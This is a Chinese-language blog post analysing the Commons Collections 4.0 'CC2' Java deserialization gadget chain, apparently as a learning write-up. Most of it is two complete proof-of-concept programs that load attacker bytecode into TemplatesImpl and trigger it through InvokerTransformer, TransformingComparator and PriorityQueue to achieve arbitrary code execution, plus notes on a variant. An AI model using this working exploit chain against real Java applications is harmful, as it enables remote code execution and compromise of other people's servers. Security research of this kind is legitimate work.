CC2利用链分析

分析版本

Commons Collections 4.0

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

CC2是在CC4的基础上做了一点改动,和之前CC3结合CC1 InvokerTransformer一样的。CC3利用链分析

因为TemplatesImpl是可序列化的,利用反射把TemplatesImpl参数控制好之后,直接用InvokerTransformer执行TemplatesImpl.newTransformer,就可以调用defineClass,实现任意命令执行了。(不再使用TrAXFilter)

image-20240708153515226

更新Poc

public class cc2 {
    public static void main(String[] args) throws Exception {
        //CC2
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        ///Class transformingComparatorClass = TransformingComparator.class;  //也可以
        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);

        //cc4.serialize(priorityQueue);
        cc4.unserialize("ss.ser");

    }
}

补充

关于templates传入还有一种方法就是不用new ConstantTransformer(templates)传值,而是用priorityQueue.add(templates);

public class cc2 {
    public static void main(String[] args) throws Exception {
        //CC2
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);


        ///Class transformingComparatorClass = TransformingComparator.class;  //也可以
        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, invokerTransformer);

        //cc4.serialize(priorityQueue);
        cc4.unserialize("ss.ser");

    }
}

priorityQueue.add(templates);会执行到下图方法

此方法是直接给transformer方法参数传值templates(CC1中ConstantTransformer的引入是为了解决无法给InvokerTransformer方法传值的问题,而这里是可以控制传值,所以我们可以不用ConstantTransformer)

image-20240708170653485

image-20240708173755568

还存在一个问题如果,Poc这样传值会发现,无法弹出计算器

    priorityQueue.add(templates);
    priorityQueue.add(1);

可以对比上图正确的Poc,下图代码执行时去找1的newTransformer方法,找不到抛出了错误。在执行第二行代码之前,程序就结束了。

image-20240708174011165

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 19:48:01       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 19:48:01       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 19:48:01       45 阅读
  4. Python语言-面向对象

    2024-07-09 19:48:01       55 阅读

热门阅读

  1. Shell学习——Shell运算符

    2024-07-09 19:48:01       42 阅读
  2. ECharts 饼图:数据可视化的重要工具

    2024-07-09 19:48:01       29 阅读
  3. react之错误边界

    2024-07-09 19:48:01       22 阅读
  4. 代码随想录算法训练营:27/60

    2024-07-09 19:48:01       31 阅读
  5. Websocket

    2024-07-09 19:48:01       39 阅读
  6. 力扣56.合并区间

    2024-07-09 19:48:01       37 阅读
  7. Android多用户基础问题

    2024-07-09 19:48:01       26 阅读
  8. VitePress安装部署

    2024-07-09 19:48:01       25 阅读
  9. GPU加速视频编解码技术:原理、优势与应用

    2024-07-09 19:48:01       31 阅读
  10. Linux 搭建 sftp 服务器详解

    2024-07-09 19:48:01       25 阅读
  11. unity获取键盘按键

    2024-07-09 19:48:01       25 阅读